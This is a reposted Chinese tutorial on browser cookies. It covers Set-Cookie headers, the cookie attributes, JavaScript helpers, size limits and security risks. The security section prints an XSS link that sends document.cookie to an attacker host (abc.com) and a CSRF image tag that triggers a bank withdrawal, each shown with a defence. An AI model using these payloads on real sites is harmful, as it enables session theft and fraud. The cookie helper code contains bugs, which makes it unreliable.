深刻理解瀏覽器Cookie

Cookie產生的背景

隨着web應用愈來愈複雜,但願可以在用戶自己機器上存儲用戶信息,不管是登陸信息,偏好設定或其餘數據,這個問題第一個方案就是以cookie形式出現的,最先提出cookie的網景公司。一份題爲「Persistent Client State: HTTP Cookes」(持久客戶端狀態:HTTP Cookies)的標準中對 cookie 機制進行了闡述(該標準還能夠在這裏看到:curl.haxx.se/rfc/cookie_… 只是在客戶端存儲數據的其中一種選項。javascript

HTTP Cookie,一般直接叫作 cookie,最初是在客戶端用於存儲會話信息的。該標準要求服務器對 任意 HTTP 請求發送 Set-Cookie HTTP 頭做爲響應的一部分,其中包含會話信息。例如,這種服務器響 應的頭可能以下:html

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value 
Other-header: other-header-value
複製代碼

這個 HTTP 響應設置以 name 爲名稱、以 value 爲值的一個 cookie,名稱和值在傳送時都必須是URL 編碼的。瀏覽器會存儲這樣的會話信息,並在這以後,經過爲每一個請求添加 Cookie HTTP 頭將信息發送回服務器,以下所示:java

GET /index.html HTTP/1.1 
Cookie: name=value 
Other-header: other-header-value
複製代碼

Cookie的機制

如圖所示,用戶首次訪問服務器,服務器會返回一個獨一無二的識別碼;id=23451,這樣服務器能夠用這個碼跟蹤記錄用戶的信息,(購物歷史,地址信息等)。git

cookie能夠包含任意的信息,不只僅是id,客戶端會記錄服務器返回來的Set-Cookie首部中的cookie內容。並將cookie存儲在瀏覽器的cookie數據庫中,當用戶訪問同一站點時,瀏覽器就會挑選當時該站點頒發的id=XXX的身份證(cookie),並在Cookie請求首部發送過去。github

Cookie的類型

cookie能夠根據存儲時間分爲會話coolie和持久cookie,會話cookie會在關閉瀏覽器後自動刪除,持久性cookie會存儲在硬盤上,保存時間更久,關閉瀏覽器和電腦還能夠保存。好比:web

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";數據庫

Cookie的構成

瀏覽器

cookie 對於哪一個域是有效的。全部向該域發送的請求中都會包含這個 cookie 信息。這個值能夠包含子域(subdomain,如www.wrox.com),也能夠不包含它(如.wrox.com,則對於wrox.com的全部子域都有效)。若是沒有明確設定,那麼這個域會被認做來自設置 cookie 的那個域。緩存

安全

儲存在 cookie 中的字符串值。值必須被 URL 編碼。

路徑

對於指定域中的那個路徑,應該向服務器發送 cookie。例如,你能夠指定 cookie 只有從http://www.wrox.com/books/ 中才能訪問,那麼 www.wrox.com 的頁面就不會發送 cookie 信息,即便請求都是來自同一個域的。

過時時間

表示 cookie 什麼時候應該被刪除的時間戳(也就是,什麼時候應該中止向服務器發送這個cookie)。默認狀況下,瀏覽器會話結束時即將全部 cookie 刪除;不過也能夠本身設置刪除時間。這個值是個 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用於指定應該刪除cookie 的準確時間。所以,cookie 可在瀏覽器關閉後依然保存在用戶的機器上。若是你設置的失效日期是個之前的時間,則 cookie 會被馬上刪除。

安全標誌

指定後,cookie 只有在使用 SSL 鏈接的時候才發送到服務器。例如,cookie 信息只能發送給 www.wrox.com,而 www.wrox.com 的請求則不能發送 cookie。 每一段信息都做爲 Set-Cookie 頭的一部分,使用分號加空格分隔每一段,以下例所示。

HTTP/1.1 200 OK
   Content-type: text/html
   Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com
   Other-header: other-header-value
複製代碼

該頭信息指定了一個叫作 name 的 cookie,它會在格林威治時間 2007 年 1 月 22 日 7:10:24 失效,同時對於 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 標誌是 cookie 中惟一一個非名值對兒的部分,直接包含一個 secure 單詞。以下:

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value; domain=.wrox.com; path=/; secure 
Other-header: other-header-value
複製代碼

這裏,建立了一個對於全部 wrox.com 的子域和域名下(由 path 參數指定的)全部頁面都有效的cookie。由於設置了 secure 標誌,這個 cookie 只能經過 SSL 鏈接才能傳輸。尤爲要注意,域、路徑、失效時間和 secure 標誌都是服務器給瀏覽器的指示,以指定什麼時候應該發送 cookie。這些參數並不會做爲發送到服務器的 cookie 信息的一部分,只有名值對兒纔會被髮送。

Javscript操做cookie

在JavaScript中處理cookie有些複雜,由於其衆所周知的蹩腳的接口,即BOM的document. cookie屬性。這個屬性的獨特之處在於它會由於使用它的方式不一樣而表現出不一樣的行爲。當用來獲取屬性值時,document.cookie 返回當前頁面可用的(根據 cookie 的域、路徑、失效時間和安全設置)全部 cookie的字符串,一系列由分號隔開的名值對兒,以下例所示。

name1=value1;name2=value2;name3=value3
複製代碼

全部名字和值都是通過 URL 編碼的,因此必須使用 decodeURIComponent()來解碼

注意:當用於設置值的時候,document.cookie 屬性能夠設置爲一個新的 cookie 字符串。這個 cookie 字符串會被解釋並添加到現有的 cookie 集合中。設置 document.cookie 並不會覆蓋 cookie,除非設置的cookie 的名稱已經存在。設置 cookie 的格式以下,和 Set-Cookie 頭中使用的格式同樣。

name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure
複製代碼

這些參數中,只有 cookie 的名字和值是必需的。下面是一個簡單的例子。

document.cookie = "name=Nicholas";

複製代碼

這段代碼建立了一個叫 name 的 cookie,值爲 Nicholas。當客戶端每次向服務器端發送請求的時候,都會發送這個 cookie;當瀏覽器關閉的時候,它就會被刪除。雖然這段代碼沒問題,但由於這裏正好名稱和值都無需編碼,因此最好每次設置 cookie 時都像下面這個例子中同樣使用encodeURIComponent()。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");
複製代碼

要給被建立的 cookie 指定額外的信息,只要將參數追加到該字符串,和 Set-Cookie 頭中的格式同樣,以下所示。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
複製代碼

因爲JS操做cookie比較麻煩,咱們通常封裝一層

var CookieUtil={
     setCookie:function(name,value,expiredays){
        var d=new Date();
        d.setDate(date.getDate()+expiredays);
        window.document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString();
     },
     getCookie:function(name){
       var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)'));
       return v?v[2]:null;
     },
     deleteCookie:function(name){
       this.setCookie(name, '', -1)
複製代碼

Cookie的缺點

一、大小限制,每一個域的 cookie 總數是有限的,不過瀏覽器之間各有不一樣

  • IE6 以及更低版本限制每一個域名最多 20 個 cookie。
  • IE7 和以後版本每一個域名最多 50 個。IE7 最初是支持每一個域名最大 20 個 cookie,以後被微軟的一個補丁所更新。
  • Firefox 限制每一個域最多 50 個 cookie。
  • Opera 限制每一個域最多 30 個 cookie。
  • Safari 和 Chrome 對於每一個域的 cookie 數量限制沒有硬性規定。 大多數瀏覽器都有大約 4096B(加減 1)的長度限制。爲了最佳的瀏覽器兼容性,最好將整個 cookie 長度限制在 4095B(含 4095)之內。尺寸限制影響到一個域下全部的 cookie,而並不是每一個 cookie 單獨限制。若是你嘗試建立超過最大尺寸限制的 cookie,那麼該 cookie 會被悄無聲息地丟掉。注意,雖然一個字符一般佔用一字節,可是多字節狀況則有不一樣。

二、過多的 Cookie 會帶來巨大的性能浪費

Cookie 是緊跟域名的。同一個域名下的全部請求,都會攜帶 Cookie。你們試想,若是咱們此刻僅僅是請求一張圖片或者一個 CSS 文件,咱們也要攜帶一個 Cookie 跑來跑去(關鍵是 Cookie 裏存儲的信息並不須要),這是一件多麼勞民傷財的事情。Cookie 雖然小,請求卻能夠有不少,隨着請求的疊加,這樣的沒必要要的 Cookie 帶來的開銷將是沒法想象的。

三、安全性問題

多數網站使用cookie做爲用戶會話的惟一標識,由於其餘的方法具備限制和漏洞。若是一個網站使用cookies做爲會話標識符,攻擊者能夠經過竊取一套用戶的cookies來冒充用戶的請求。從服務器的角度,它是無法分辨用戶和攻擊者的,由於用戶和攻擊者擁有相同的身份驗證。 下面介紹幾種cookie盜用和會話劫持的例子:

網絡竊聽

網絡上的流量能夠被網絡上任何計算機攔截,特別是未加密的開放式WIFI。這種流量包含在普通的未加密的HTTP清求上發送Cookie。在未加密的狀況下,攻擊者能夠讀取網絡上的其餘用戶的信息,包含HTTP Cookie的所有內容,以便進行中間的攻擊。好比:攔截cookie來冒充用戶身份執行惡意任務(銀行轉帳等)。

解決辦法:服務器能夠設置secure屬性的cookie,這樣就只能經過https的方式來發送cookies了。

DNS緩存中毒

若是攻擊者可使DNS緩存中毒,那麼攻擊者就能夠訪問用戶的Cookie了,例如:攻擊者使用DNS中毒來建立一個虛擬的NDS服務h123456.www.demo.com指向攻擊者服務器的ip地址。而後攻擊者能夠從服務器 h123456.www.demo.com/img_01.png 發佈圖片。用戶訪問這個圖片,因爲 www.demo.com和h123456.www.demo.com是同一個子域,因此瀏覽器會把用戶的與www.demo.com相關的cookie都會發送到h123456.www.demo.com這個服務器上,這樣攻擊者就會拿到用戶的cookie搞事情。

通常狀況下是不會發生這種狀況,一般是網絡供應商錯誤。

跨站點腳本XSS

使用跨站點腳本技術能夠竊取cookie。當網站容許使用javascript操做cookie的時候,就會發生攻擊者發佈惡意代碼攻擊用戶的會話,同時能夠拿到用戶的cookie信息。 例子:

<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>

複製代碼

當用戶點擊這個連接的時候,瀏覽器就會執行onclick裏面的代碼,結果這個網站用戶的cookie信息就會被髮送到abc.com攻擊者的服務器。攻擊者一樣能夠拿cookie搞事情。

解決辦法:能夠經過cookie的HttpOnly屬性,設置了HttpOnly屬性,javascript代碼將不能操做cookie。

跨站請求僞造CSRF

例如,SanShao可能正在瀏覽其餘用戶XiaoMing發佈消息的聊天論壇。假設XiaoMing製做了一個引用ShanShao銀行網站的HTML圖像元素,例如,

<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

複製代碼

若是SanShao的銀行將其認證信息保存在cookie中,而且cookie還沒有過時,(固然是沒有其餘驗證身份的東西),那麼SanShao的瀏覽器嘗試加載該圖片將使用他的cookie提交提款表單,從而在未經SanShao批准的狀況下受權交易。

解決辦法:增長其餘信息的校驗(手機驗證碼,或者其餘盾牌)。

文章轉載地址: github.com/huzhao0316/…
相關文章
相關標籤/搜索